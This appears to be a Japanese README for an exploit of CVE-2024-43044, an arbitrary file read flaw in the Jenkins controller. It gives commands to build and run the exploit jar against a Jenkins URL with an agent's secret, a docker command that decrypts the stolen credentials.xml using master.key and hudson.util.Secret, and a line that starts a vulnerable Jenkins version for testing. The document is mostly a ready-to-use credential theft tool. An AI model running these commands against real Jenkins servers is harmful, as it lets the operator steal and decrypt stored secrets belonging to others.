
CVE-2024-43044 のエクスプロイト。Jenkins コントローラから任意のファイル読み取りを可能にし、秘密鍵を使用して credentials.xml を抽出および復号化します。
これはCVE-2024-43044のエクスプロイトです。この脆弱性は任意のファイル読み取りを引き起こし、エージェントがコントローラーからファイルを取得できるようにします。
このエクスプロイトは、脆弱性を利用して credentials.xml ファイルを読み取り、それを復号するための秘密鍵を取得します。
初期コード : https://github.com/convisolabs/CVE-2024-43044-jenkins 元の解説記事 : https://blog.convisoappsec.com/en/analysis-of-cve-2024-43044/
mvn package
java -jar exploit.jar mode_secret <jenkinsUrl> <nodeName> <nodeSecretKey>
docker run \
--rm \
--network none \
--workdir / \
--mount "type=bind,src=$PWD/master.key,dst=/master.key" \
--mount "type=bind,src=$PWD/hudson.util.Secret,dst=/hudson.util.Secret" \
--mount "type=bind,src=$PWD/credentials.xml,dst=/credentials.xml" \
docker.io/hoto/jenkins-credentials-decryptor:latest \
/jenkins-credentials-decryptor \
-m master.key \
-s hudson.util.Secret \
-c credentials.xml \
-o json
次のようにdockerを使って脆弱性のあるバージョンでテストできます。
docker run -p 8080:8080 -p 50000:50000 --restart=on-failure jenkins/jenkins:2.441-jdk17
Jenkinsが実行されたら、エージェントをセットアップしてください。